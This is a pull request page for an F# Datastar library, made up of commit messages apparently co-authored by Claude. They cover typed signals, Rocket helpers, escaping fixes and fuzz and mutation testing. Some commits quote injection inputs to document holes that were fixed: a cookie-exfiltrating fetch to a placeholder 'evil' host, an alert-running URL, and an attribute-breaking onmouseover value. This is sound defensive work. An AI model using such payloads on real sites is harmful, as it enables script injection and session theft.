Repository navigation
Datastar 1.0.4: typed signals, expressions and statements, Rocket helpers, and a reader for the Rocket manifest - #20
Conversation
Microsoft.SourceLink.GitHub 8.* depends on Microsoft.Build.Tasks.Git 8.0.0, which has a known vulnerability (GHSA-23fw-v26w-5fgq) and no 8.x fix. With warnings treated as errors, the NU1902 advisory warning failed the build. Version 10.0.303 and later are fixed. SourceLink only runs at build time (PrivateAssets=All). Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Update - Ds.cdnSrc now points at Datastar v1.0.4. It pointed at 1.0.0-RC.7. - Add Ds.datastarVersion, Ds.rocketCdnSrc and Ds.rocketCdnScript. The Rocket script is the Datastar build that includes Rocket. Fixes - Ds.setAll and Ds.toggleAll wrote the prefix as the first argument. The Datastar actions take (value, filter) and (filter), and they already did in RC.7. They now build an include filter from the prefix. Numbers are no longer quoted, and string values are escaped so they cannot break out of the attribute. - ContentType.CustomJson sent an `override` option, which Datastar does not have, and sent the object as a string. It now sends `payload` as a JSON object. New - Ds.setAllFiltered, Ds.toggleAllFiltered, Ds.peek, Ds.query (@query) and SignalsFilter.Prefix. - Ds.bindProp and Ds.bindEvent, for data-bind with __prop and __event on web components. - OnEventModifier.Document, RequestCancellation.Cleanup and RequestOptions.ResponseOverrides (ElementsOverrides and OverrideSignals). README: remove the OnEvent.SignalsChanged examples, which never existed, and document the above. Every README example output was checked in the REPL. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Datastar sets openWhenHidden per action: false for @get, and true for @post, @put, @patch, @delete and @query (createHttpMethod in fetch.ts). This library documented a default of false, but never sent it, so a @post used Datastar's true anyway. There was also no way to send false for a @post, because false meant "not set". A value of true was sent as the string "true". RequestOptions.OpenWhenHidden is now `bool voption`. It is ValueNone by default, and is sent as a JSON boolean only when you set it. BREAKING: code that sets `OpenWhenHidden = true` must now write `OpenWhenHidden = ValueSome true`. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Rocket is Datastar's web-component layer, and it is in the 1.0.4 build. Components are written in JavaScript. These helpers write what the server renders. They write only the values you pass, so Rocket's defaults apply. - Rocket.propString, propNumber, propBool, propDate, propJson and propBin write the attribute that the prop's codec reads (codecs.ts). Attribute names use a port of Datastar's own kebab function, which splits acronyms and digits (innerHTML becomes inner-html, pos3d becomes pos-3-d). The port was checked against the real function. Booleans are always written, because a missing attribute means the prop's default. Numbers use the invariant culture. - Rocket.local, call and root write $$signals, @actions and the __root modifier. __root does not work on data-signals (template.ts, lines 467-481). - Rocket.templateFor, templateIf, templateElseIf and templateElse write the data-for and data-if directives, whose attribute names Rocket fixes. examples/RocketComponents uses all of this. It was run in a browser, and these were checked: props read from server attributes; an SSE patch re-rendering a shadow-DOM component; template chains switching branch on re-render; light-DOM children using $$ signals, @actions and data-for; Rocket.root reaching a page signal; and a server patch replacing a light-DOM component's children while its state is kept. Also adds a README section and registers the example in the solution. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Reword the doc comments, code comments and README text added on this branch. No behaviour changes. Also remove two claims that the Datastar source does not support: - That @setall and @toggleAll changed argument order in 1.0. They already took (value, filter) and (filter) in RC.7. - That `override` was a removed option. RC.7 never had it. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Say what each test checks. Reasons that belong in a comment or a commit message no longer sit in the name. No behaviour changes. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Explain what the option does, which default Datastar picks for each action, and how to update code that sets OpenWhenHidden = true. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
List what stops old code compiling, what produces warnings, what can clash with a user's own names, and what changes output without any compiler message. Each item says how to fix it. The compiler messages and the fixes were checked by building a separate project against this branch. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
- Datastar renamed the option retryMaxWaitMs to retryMaxWait in v1.0.0 (RC.8 still used retryMaxWaitMs). This library kept writing the old name, so RequestOptions.RetryMaxWait was ignored. - RequestOptions.Retry was never written at all, so OnError, OnAlways and OnNever had no effect. Both are now written when they differ from the default. The names of the other retry options are pinned by tests. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…signals are read Datastar sends the signals of a @get and a @delete in the `datastar` query parameter, and the signals of the other actions in the request body (methodSupportsRequestBody in fetch.ts). SDK 1.2.0 and 1.2.1 read a DELETE only from the body, so Request.getSignals and Request.getSignalsJson came back empty, or threw "The input does not contain any JSON tokens", for a @delete. SDK 1.3.0 fixed this. Version 1.4.0 also adds PatchElementsOptions.ViewTransitionSelector, the scoped view transition option that Datastar 1.0.4 reads. The SSE bytes for every operation that 1.2.0 supports are the same in 1.4.0. The only public API change is a new PatchElementsOptions constructor parameter, which affects code that calls the constructor and not code that uses `PatchElementsOptions.Defaults with`. New tests read GET, POST and DELETE requests through this library's Request functions. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Datastar 1.0.x can run under a policy that has a nonce and no unsafe-eval. It reads data-nonce from the <html> element (csp.ts), which RC.7 did not do. Ds.nonce writes that attribute. Checked in a browser with the same policy (script-src 'nonce-...') on two pages. Without data-nonce, Datastar throws an EvalError about unsafe-eval and the page does nothing. With Ds.nonce there are no console errors, the counter works, and Datastar removes data-nonce from <html> after reading it. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Datastar 1.0.4 lets responseOverrides replace selector, mode, namespace and useViewTransition for patch-elements events. ElementsOverrides was missing the namespace. ResponseOverrideNamespace must be written with its type name, for example ResponseOverrideNamespace.Svg. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
- Ds.delete and the README said a DELETE sends its signals in the body. It sends them in the `datastar` query parameter, like GET. - The README and Ds.ignore said the attribute is data-star-ignore. Datastar reads data-ignore. - RequestCancellation.Auto said it cancels requests on the same element. Since 1.0.2 it cancels an earlier request with the same method and URL. - Ds.ignoreMorph now says when it applies: both the page's element and the server's element need the attribute, or the page's element must be inside an element that has it (patchElements.ts). Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Upgrade notes: Retry is now sent and RetryMaxWait uses the name Datastar 1.0.4 reads, and the SDK moves to 1.4.0 with what that changes. A project that references the SDK directly below 1.3.0 only gets warning NU1605 and keeps the older version, and with it the @delete problem. That was checked by building a project with such a reference. New README subsection on PatchElementsOptions, including the scoped view transition selector that Datastar 1.0.4 added. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
The __case modifier changes the casing of the name an attribute creates: camel, kebab, snake or pascal. Datastar reads it in bind, class, computed, indicator, on, ref and signals. This library had no way to write it. Ds.withCase works on any attribute, so it needs no new parameter on the existing helpers. It only has an effect where the name is in the attribute's key, so it does nothing on Ds.ref and Ds.signals, which put the name or the object in the value. The doc says so. Checked in a browser: Ds.signal with CaseStyle.Snake created the signal my_value, and Ds.onEvent with CaseStyle.Camel heard a myEvent custom event. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Rocket can post a JSON manifest of every component a page defined, so that a docs build or a component registry can store it. RocketManifest.parse and Request.getRocketManifests read it into typed records: props with their codec, default, allowed values and documentation, plus slots and events. The parser returns an error message when the text is not JSON, a required property is missing, or the version is not 1. A codec name it does not know is kept as RocketPropType.Other, so a newer Rocket does not break it. The tests use the body that the Datastar 1.0.4 runtime really posted from a browser, for a component with every kind of prop and for one with none. This reads the document only. Generating typed element helpers from it is left to a separate tool. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…unctions The four links were checked against the live data-star.dev pages: the attribute evaluation order, the backend actions, the SDK list and the signals guide had all moved or been renamed. The Response.ofHtmlElements example called Response.ofHtml, and the Response.ofRemoveElement example called a function that does not exist and used a selector without the # of an id. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…ity page Ds.withCase gets a README section. The Ds.nonce docs now say what the official Security page says: the nonce must match the policy, the script tag needs it too unless the policy allows its source, patches and JavaScript responses need no nonce, CSP mode does not make expressions safe for untrusted content, and Trusted Types works through a policy named datastar. An aliased script uses an aliased attribute; Constants.dataSlugPrefix produces data-star-nonce, which was checked by running it. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…the manifest reader - Datastar's Rocket reference says Rocket is in beta and its API may change. The README and the Rocket type now say so. - Template directives on server-rendered children run on page load in a light-DOM component. In an open shadow-DOM component they stay inert until a later server patch sends new children. That was checked in a browser: with the same markup, nothing rendered on load, and after a patch the data-if branch and both data-for rows appeared. Rocket.local and Rocket.root do work in those children on load. - New README section for Request.getRocketManifests. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…nted - New README section on answering a backend action without SSE, with the content types and datastar- headers from Datastar's Response handling reference. The samples were run in a browser: the html response appended to the list, the json response added a new signal and kept an existing one, and the javascript response ran. No new functions: Falco already covers it. - The samples showed that Response.ofPlainText overwrites the content type, which the README now says. - responseOverrides works in Datastar 1.0.4 but its documentation does not mention it, so the README and the type say it may change. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…notes The upgrade notes used to say only "read the release notes". Now that the release notes for RC.8 to 1.0.4 have been read, they list the changes that can affect a page built with this library: no signal replacement inside quotes, no cancellation on element removal by default, same-URL cancellation, no body or Content-Type on GET and DELETE, the checkbox and radio event, the prop-change event after a patch, and retries that send current signals. The quote behaviour was checked in a browser. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
… go against the Tao The Tao of Datastar says the backend drives the frontend by patching, and that "there's no real benefit to using a content type other than text/event-stream". - ResponseOverrides let the client replace what the server sent in an event, which reverses who drives. Datastar's own docs do not describe the option either. It is removed along with ElementsOverrides and ResponseOverrideNamespace. RequestOptions no longer gains a field, so one of the compile-breaking changes in 1.4.0 is gone. ResponseOverrideMode is back to how it was before this branch. - The README section that promoted plain text/html, application/json and text/javascript responses is removed. This library offers SSE responses only. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…escaping holes Typed layer (Expr.fs) - Signal<'T> comes in three kinds that follow the Tao of Datastar. Signal.browser is UI-only: Datastar never sends it, because its name starts with an underscore. Signal.server is sent to the backend, for form input and state to submit. Signal.rocket belongs to one Rocket component instance ($$name). A server signal whose name starts with an underscore cannot be created, since Datastar would silently keep it in the browser. A name with a hyphen, or one that is not a signal path, is refused with a message that says what to write. - Expr<'T> and Stmt replace the JavaScript strings. Literals are escaped, so text stays text. Operators are written with spaces, because Datastar reads $a-1 as a signal called a-1. Ds.text, show, class', attr', style, computed, signal, bind, indicator, onEvent, onClick, onInit, effect, onInterval, onIntersect and onSignalPatch each got an overload that takes them. The string overloads stay, so nothing breaks. - Rocket.forEach gives each row a typed item and index, and templateIf and templateElseIf take a boolean expression. A component signal can be declared in F# markup, so a light-DOM Rocket component needs no JavaScript setup. Fixes from the roast - A URL in Ds.get, post, put, patch, delete and query, and a text or structured value in Ds.signal, were pasted into the expression unescaped. Ds.get "/x');alert(1);//" produced code that runs. They are escaped now. - Ds.nonce refuses an empty value, which makes Datastar throw NonceRequired at load. Ds.bindEvent takes a first event, so an empty list, which leaves a binding that never syncs, cannot be written. Ds.bindProp refuses an empty name. - A NaN or infinite number in Ds.setAll or Ds.signal is a JavaScript literal and no longer raises from the JSON serializer. Checked in a browser with the real script: counters, a computed value, class and ARIA bindings, a literal with quotes and markup that stayed text, a POST whose URL had an apostrophe and an ampersand, the server receiving only the server signal and none of the four browser signals, and two Rocket instances that kept separate state. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
The old example broke three rules of the Tao. - It kept a growing list of toggle history in browser signals, which is application state on the frontend. - It rendered the counter once at startup, so a reload showed 0 while the server held the real count, and it shared a mutable global between visitors. - It had no long-lived read stream. Now: - The server owns the count in one MailboxProcessor, so no shared mutable state. Every visitor sees the same count. - CQRS: the page opens one long-lived GET stream, and a click sends a short POST that answers 204 No Content. The change reaches every viewer over the stream, after the server has confirmed it. - The initial HTML carries the real count. - The stream is compressed with Brotli. - my-counter emits events and the page decides what they do, with the commands written as typed statements on the host element. my-toggle has no JavaScript, and keeps its state in Rocket component signals declared in F#. - The only signals left are UI-only ones that never leave the browser. Run in a browser: commands returned 204, a second viewer saw each change within about 4 ms of the click, the stream had content-encoding br, the page request sent no signals, and two toggle sections kept separate state. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
- New section that sets each rule of the Tao of Datastar against what this library does about it, with the CQRS pattern and Brotli compression for the stream. The compression settings were run: the stream had content-encoding br and updates still arrived within a few milliseconds. It also names the BREACH risk of EnableForHttps. - New section on signals, expressions and statements in F#: the three kinds of signal and what each sends, the functions for expressions and statements, which Ds functions take them, and the rules worth knowing. - The Signals introduction no longer says that Datastar uses signals to manage state. It says to use them sparingly, as the Tao does. - Ds.onInterval samples used an API that does not exist (one argument and a TimeSpan). They are corrected, with a note that the Tao prefers a stream to polling. - Notes on starting with the defaults, the default morph mode, and the default casing. Rocket notes: keep business state on the backend, declare component state in F#, use Rocket.forEach, and render lists on the server when the server knows them. - Two dead anchors fixed. Every code sample was compiled first. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
The README had grown to a release-notes archive. The upgrade notes are now in CHANGELOG.md with a short list of what is new, and the README links to it. The notes gain one item: URLs and text values are now escaped, which changes the generated text. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…the kebab-case names Escaping URLs and text added cost to every Ds.get, Ds.text and similar call. Text with nothing to escape is now returned without a copy, and text that needs escaping is escaped in one pass. RequestOptions.Defaults is built once. It was rebuilt about ten times for every request option that was written. SignalsFilter.IsNone replaces a comparison with SignalsFilter.None that allocated. String.datastarKebab remembers the names it has converted, up to 1000. Release build: Ds.get "/x" takes 141 ns. Before the escaping fix it took 52 ns, but it did not escape the URL at all. Rocket.propNumber went from 847 ns to 66 ns. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
setAll and toggleAll have typed versions that take a prefix, and a Where version that takes a SignalsFilter. Expr.peek reads a value without subscribing to it. Ds.setAllFiltered and Ds.toggleAllFiltered now share one implementation with the typed versions. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
… the CI workflow SourceLink is pinned to 10.0.401 instead of 10.*. The test project targets the same three frameworks as the library, and NSubstitute, which no test used, is removed. The CI workflow installs all three runtimes, uses current versions of the checkout and setup-dotnet actions, and builds each example. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…stop reading a body over 1 MiB RocketManifest.parse threw InvalidOperationException when components was not a list. It now returns an error. Errors name the component and the prop, or give the position of a prop, slot or event that has no name. The version error says what to do about it. Request.getRocketManifests stops reading at 1 MiB and returns an error instead of reading the whole body into memory. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
test/Falco.Datastar.E2E opens pages in a real Chromium (Playwright) and checks what Datastar 1.0.4 and Rocket do with what the library writes: withCase, RetryMaxWait, the CSP nonce, DELETE with signals, the typed layer (including text with quotes and tags in it), publishRocketManifests read by Request.getRocketManifests, shadow-DOM template directives, and the RocketComponents example (a click reaches another window, the write answers 204, the stream is Brotli compressed). The project is not in the solution, and the build workflow does not run it. The e2e workflow only runs on workflow_dispatch. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01W3fRchabSoisqDYrsUSuMN
…red error The manifest types and the reader were in three files. They are now in RocketManifest.fs. RocketManifest.parse and Request.getRocketManifests return a RocketManifestError (NotJson, TooLarge, Missing, WrongKind, UnsupportedVersion) instead of a string, so a caller can match on the reason. Its Message property says what is wrong and what to do about it. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01W3fRchabSoisqDYrsUSuMN
Request options (Types.fs) are now written from a list of names and values instead of a JSON object, which fixes four things: - FilterSignals threw for every filter, because the filter text is not JSON. It is now sent as string patterns. A filter that has an exclude keeps Datastar's rule that signals starting with an underscore stay in the browser, which Datastar would otherwise drop. - AbortController was sent as a string, which Datastar ignores. It is now sent as the name of the signal. - A header name that appears twice, a RetryScaler that is not a number and an AbortController without a name raise an ArgumentException that says what to write. - One shared JsonSerializerOptions is used instead of a new one for every call. Signals filters written into an attribute now escape a slash and a line break in the pattern, and encode the text for the attribute. Ds.onSignalPatchFilter and Ds.jsonSignalsOptions did not encode it, so a quote in a pattern ended the attribute. setAll and toggleAll no longer encode the filter twice. Names that go into an attribute name (class names, event names, attribute names, style properties, Rocket prop names, and the values after a modifier such as the events of bindEvent) are checked. A quote, a space, = / < > or a double underscore raise an ArgumentException that says why. Before, Ds.class' with a name from data could add attributes of its own. Signal names Datastar reads differently from an expression are refused: a part that starts with a capital letter, a double underscore, a trailing underscore, and a name that ends with a line break. Signal.tryCreate returns a SignalNameError with a Message. SignalScope, SignalNameError and RocketManifestError are RequireQualifiedAccess. Expr and Stmt text is always escaped for the attribute, including unsafeRaw, which also puts text that is more than a name in parentheses. Rocket.templateIf, templateElseIf and forEach with an expression no longer encode it twice. Integer division is cut to a whole number. Stmt.all [] raises. Rocket.forEach checks that item and index names are identifiers. Ds.safariStreamingFix used data-on:pageshow.window, which Datastar 1.0.4 reads as an event called pageshow.window. It now uses the __window modifier. RocketManifest.parse no longer throws for a null body, a string with half a surrogate pair, or a version that is not a number. It returns an error for props, slots or events that are not lists and for a body that is not an object, and reads a prop with no default as null. Retry.Serialize and CaseStyle.Serialize are internal. Documentation comments that were wrong are corrected. Tests: 216 (up from 159). RequestOptions tests are in their own file, and helpers are shared in TestHelpers.fs. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01W3fRchabSoisqDYrsUSuMN
…in review Browser tests (manual only) now also cover FilterSignals, request headers, AbortController, the elseif template branch, the string helpers (text stays text, template literals run, an action name in a string is not run) and every Rocket prop helper read back by its codec. The signals sent by the typed page are compared exactly, and the retry waits are held to the 300 ms cap with a tolerance instead of twice the cap. The CSP test without a nonce now waits for the browser's unsafe-eval refusal, so it can no longer pass because Datastar never loaded. The example fixture keeps the last lines the example wrote and puts them in the error when it does not start. Unit tests: text and URLs that go through the escaping are read back the way a browser and a JavaScript parser read them (7,000 random cases), the empty-events and message cases of bindProp and bindEvent are checked, and a test name that claimed more than it asserted is renamed. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01W3fRchabSoisqDYrsUSuMN
README: samples that did not compile or did not do what they said are fixed (Ds.class', Ds.style, Ds.onInit was written as Ds.init, the debounce modifier, Response.ofPatchSignal, a sample that returned an unawaited task, TimeSpan.FromSeconds 1L, two wrong opens). Response.ofRemoveSignals and a string overload of Response.ofPatchSignals do not exist, so those sections now show removing a signal by patching it to null and sending raw JSON with the SDK. Claims that were wrong are corrected: the wire format of the signals, what Ds.ignoreSelf does, the default casing of a signal name, what OnNever does, and that Rocket.root has no effect on data-ref in Datastar 1.0.4. Signal names that are refused, the request options FilterSignals, Headers and AbortController, Ds.preserveAttr and Response.ofExecuteScript are documented. Samples use underscore names for browser-only state, the way the Tao of Datastar does. The relative links work on nuget.org. CHANGELOG: adds the overload change that can stop code compiling, the new name clashes, the output changes (filters, request options, the Safari fix, unsafeRaw, integer division), the names that are now refused, which script version each helper needs, and corrects which SDK release added which type. CI: the library build shows NuGet advisories (NU1901 to NU1904) as warnings instead of failing on a day when no code changed, and both workflows have read-only permissions. The build workflow has a timeout. Attribute names are checked with a vectorized search, and the browser tests README lists what is covered. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01W3fRchabSoisqDYrsUSuMN
All randomized tests now take their randomness from a seed (Dst.fs). By default each runs the seeds 1 to 25. DST_SEEDS=n runs more, DST_SEED=n replays one, and a failure message names the seed and the command. A manual dst workflow runs many seeds on GitHub. test/Falco.Datastar.Tests/README.md explains the simulations. DstHtmlTests builds attributes and template elements from hostile text with 26 helpers, and reads the HTML back with a real HTML5 parser (AngleSharp 1.8.2, test project only). A case has to be refused with an ArgumentException, or be read as one element with exactly the attributes that were generated, and the text that an attribute stands for has to come back exactly. It passes 500 seeds (about 200,000 cases). Removing the attribute-name guard or the carriage return escape makes it fail on seed 1, and the printed command replays the seed. DstManifestTests fuzzes RocketManifest.parse with manifests that are changed or damaged, checks that the same manifest gives the same result however it is written, and runs Request.getRocketManifests over a stream that gives random chunk sizes, fails or is cancelled partway, and ends at the edge of the 1 MiB limit. What the simulations found: - A carriage return in an attribute value reached the browser as a line feed, and a NUL as U+FFFD. Rocket.propString, Ds.nonce and the template directives changed the text. A carriage return is now written as &falcoframework#13;, a NUL as U+FFFD in an attribute, and as \u0000 in a string literal and in a regular expression literal. - RocketManifest.parse threw ArgumentException for a string that has half of a surrogate pair. It returns NotJson. Both have plain regression tests. getRocketManifests now documents that a failed connection or a cancelled request throws instead of giving a result. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01W3fRchabSoisqDYrsUSuMN
… and document the new API with examples Request.getRocketManifests no longer throws when the connection fails or the request is cancelled. It returns RocketManifestError.ConnectionFailed (which also covers ASP.NET Core's BadHttpRequestException, an IOException) or RocketManifestError.Cancelled. A mistake in the code, such as reading the body twice, still throws. The stream simulation now checks that rule, and there are tests for the Kestrel exception and for the exception that has to stay loud. Documentation: every public Expr and Stmt function that had no comment now has one with an example and its real output. The README shows request options (FilterSignals, Headers, AbortController, ContentType, Retry) with the F# and what it writes, signals filters, how to match on SignalNameError and RocketManifestError, the attribute-name refusals, Expr.unsafeRaw, divide and Stmt.all, Ds.safariStreamingFix, the carriage return and NUL handling of Rocket.propString, and a Testing section about the simulations. Every sample was compiled and its output compared with the README. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01W3fRchabSoisqDYrsUSuMN
Stryker cannot read an F# project layout, so mutation testing here was a script. That was the wrong shape: the mutant definitions are F#, and writing them inside a script meant every string was doubly escaped and unverified until a run failed. This makes it a console project, which gives the list type checking, and nothing depends on it, so it stays out of the solution. It still has to be a separate program, because a mutant rewrites src and the tests must run against the rebuilt assembly, which the test process cannot do while holding that assembly open. - "check" verifies every mutant still finds its text, exactly once, and says which files no mutant touches, so "all killed" is not read as coverage of the library - "clean" restores the source after a run that was killed, and a run refuses to start while a backup is left behind - a mutant that cannot be told from the original is marked Equivalent, so it is reported apart from a real gap rather than as a test to write - the run prints how many lines of the library it actually rewrites The list goes from 58 to 91 mutants. Ds.fs, Rocket.fs, Request.fs and Response.fs had none at all, and Ds.fs is the public surface: a plugin name written even slightly wrong is an attribute Datastar does not run, and nothing else notices. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The simulation tests built their input from an unweighted corpus of hostile fragments, which is the shape that finds nothing. Averaged uniformly it produces mostly harmless letters, so the fragments that actually break a parser are almost never drawn, and the run is green because it never reached the cases. Fragments.fs now groups them by what they attack: text that ends an attribute, text that closes the element, text that ends a JavaScript string, the characters a parser rewrites or cannot keep, and text that collides with how Datastar reads a name. Each group is weighted, and ordinary text is still the common case so the dangerous fragments are found among real input rather than in a stream of nothing but punctuation. DistributionTests measures what a long run reaches, so a change to the weights shows up as a number instead of as a run that quietly stopped covering anything. It also pins that a seed always gives the same output, so the seed in a failure message is worth something, and that a long run produces many different texts rather than a few shapes repeated. Each of those is a guard, and a guard is only worth having if it can fail. Set one group's weight to 0 and the tests name the fragments that stopped being generated. Also drops the event-id assertion from the remove test: the SDK does not put an id on a removal, so it was pinning the SDK's behaviour rather than this library's. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Two claims were quietly rot-prone, and both are now enforced. The simulation harness drew from System.Random, and .NET does not promise to keep Random's algorithm. A seed that reproduces a failure today may not after a runtime upgrade, so every DST_SEED replay in an issue tracker is a lie waiting to happen. Generator.fs is SplitMix64 written out instead, and GeneratorTests pins the values a seed gives. It also checks that a small bound still reaches every value in it and that the values are spread rather than clustered, both of which a broken generator passes by returning one value forever. The mutation and DST runs were manual only, so "every mutant is killed" was a claim about one afternoon. Deleting the test that caught a mutant changed nothing until someone remembered to click Run workflow. Both now run on a schedule as well as on demand, and the mutation job checks the list against the source before spending twenty minutes on it, and puts the source back even if the job was cancelled. Also fixes a trap in the manifest generator. It was Array.init length (fun i -> randomComponent generator i), and F# does not promise argument evaluation order, so the generator advanced in whatever order the compiler chose and the manifest a seed produced could differ between a debug and a release build. It is a fold now. The seed count is also validated rather than silently ignored, so a typo in DST_SEEDS does not quietly run 25 seeds and look like a pass. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The warning gate in CI is the point of having one: this upcast became unnecessary when the manifest generator changed shape, and a library with warnings is not finished. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The security ones first, because they are the ones that matter.
DsAttr.generateKey checked the target and each modifier value, but wrote the
plugin name and the modifier names straight into the attribute name. Falco.Markup
does not escape an attribute name, so a quote in either one would end the name and
add attributes of its own. Nothing in this repository reaches it today, because
every call site passes a literal, but the guard existed for exactly this and was
one line away.
RequestCancellation = AbortController wrote its argument as raw JavaScript after
only checking it was not blank, and the library deliberately writes it as code
rather than as text because Datastar only accepts an AbortController object. So
AbortController "$ctl'||fetch('//evil/'+document.cookie)||'" reached the page as
live JavaScript. It is now checked to be a signal reference, which is the only
shape that makes sense there.
ContentType = CustomJson null raised NullReferenceException from inside the
serializer, where every other bad input on that record raises an ArgumentException
that says what to do. It now sends a null payload.
SignalPath.getSignalFromJson caught every exception and returned ValueNone, so a
signal whose value was the wrong type looked exactly like a signal that was not
there. A missing path is still ValueNone; a value that cannot be read now raises.
And Ds.bindProp's documentation said to write "someProp", which Datastar reads as
"someprop" because its camel case only removes hyphens. The example now says
"some-prop" and says why.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
…hat could never fire Ds.ref wrote the signal name into the attribute's value with no escaping, and Falco.Markup does not escape attribute values. Ds.ref "a\" onmouseover=\"x" rendered as <div data-ref="a" onmouseover="x"></div>, which is the same shape of bug as the DsAttr guard holes, in the one place the escaping had been missed. Ds.nonce already escaped its value; Ds.ref now does the same. The mutation tool reported which source files no mutant touches, so that "all killed" is not mistaken for coverage of the library. That report never fired, because `a |> Set.difference b` passes a as the LAST argument and so computes b minus a, which is empty whenever the two overlap. It compiled, it type-checked, and it was silently useless. RocketManifest.fs had zero mutants the whole time the report claimed otherwise; it has five now. It also drains a child process's stdout and then its stderr. That deadlocks as soon as the second pipe buffer fills while nothing is reading it, which a chatty `dotnet test` will do. The comment claimed the deadlock was avoided. Both reads now start before either is awaited, and a child writing to both streams no longer hangs. The dst workflow also tested net8.0 with --no-build after building only net10.0, so it failed on every run. It builds its own target now. Four public helpers had no test at all, which the surviving mutants said plainly: Ds.preserveAttr, Ds.ignoreSelf, Ds.ignoreMorph, Ds.onSignalPatch and Ds.ref. They are pinned now. Three of the four Response mutants survived because the of functions wrap the sse ones, so a test written against the sse version passed even when the of one dropped what it was given; each now goes through the of version with options that change the wire format. And Ds.text and Ds.show each exist twice, as a string and a typed overload, so mutating one left the other correct. Both are listed now. build.yml also builds the mutation program, which is deliberately outside the solution, so a syntax error in it cannot land green on every push. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
…signal
Datastar's Rocket rewrites data-bind, data-computed, data-indicator and
data-signals to a component's own signal only for a signal that component declared
with $$('name', value) in its setup, and only inside that component. Everywhere else
the name is used exactly as written, which is what a page signal is.
The typed helpers used to accept a Signal.rocket and write data-signals:count, which
is character-for-character what Signal.server "count" writes, so the scope was
discarded and two components would share the state. It is refused now, with a
message that says what to write instead. Reading a Rocket signal in an expression is
unchanged and still writes $$name, which is the thing Rocket does scope.
The example and the E2E site declared their component signals with
Ds.signal (rocketSignal, value), which now raises; they use SignalPath.sp, which is
what the string helper has always done and what Rocket resolves to the local. Both
still pass, including the browser tests that click through them.
Two docs stated promises Datastar does not keep. data-computed is called read-only
and Ds.bindProp says Datastar only removes hyphens from a property name; both are
now what Datastar actually does. CaseStyle.Kebab was left as it is, after checking
the source: Datastar has no kebab function because keeping the name as written is
what preserves the hyphens, so asking for it is exactly right.
The audit that found all of this read the Datastar v1.0.4 sources rather than the
documentation, which is the point: a test suite can only check this library against
itself.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
…eady did An audit of every hunk against main found three changes that were not this branch's to make, because they altered the behaviour of code that shipped before it. SignalPath.getSignalFromJson used to return ValueNone for a value of the wrong type. I had changed it to raise, which is defensible but is Falco's own contract rather than Datastar's, so it is back to exactly what main does, down to the three lines of it. Retry.Serialize, RequestCancellation.Serialize and RequestOptions.Serialize were public members on main and I had made them internal. That is a silent compile break for anyone calling one, and nothing in the changelog said so. They are public again. The generated XML from a released build shows RequestOptions.Serialize was part of the package surface, which is how they should have been treated. Ds.ref now escapes its name, which does change the rendered bytes for a name containing a quote, angle bracket or ampersand. That one stays: the old output was a live attribute-injection hole, and no caller can sanely depend on it. The changelog says so and shows the input that changed. Two changelog entries were wrong and are corrected. It described the getSignalFromJson change that has just been reverted, and it presented the case-insensitive duplicate header check as if it had always raised when it is new. And setAll is now documented with the reason it changed: Datastar reads @setall(value, filter) and @toggleAll(filter), so the prefix-first form main wrote did nothing at all. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
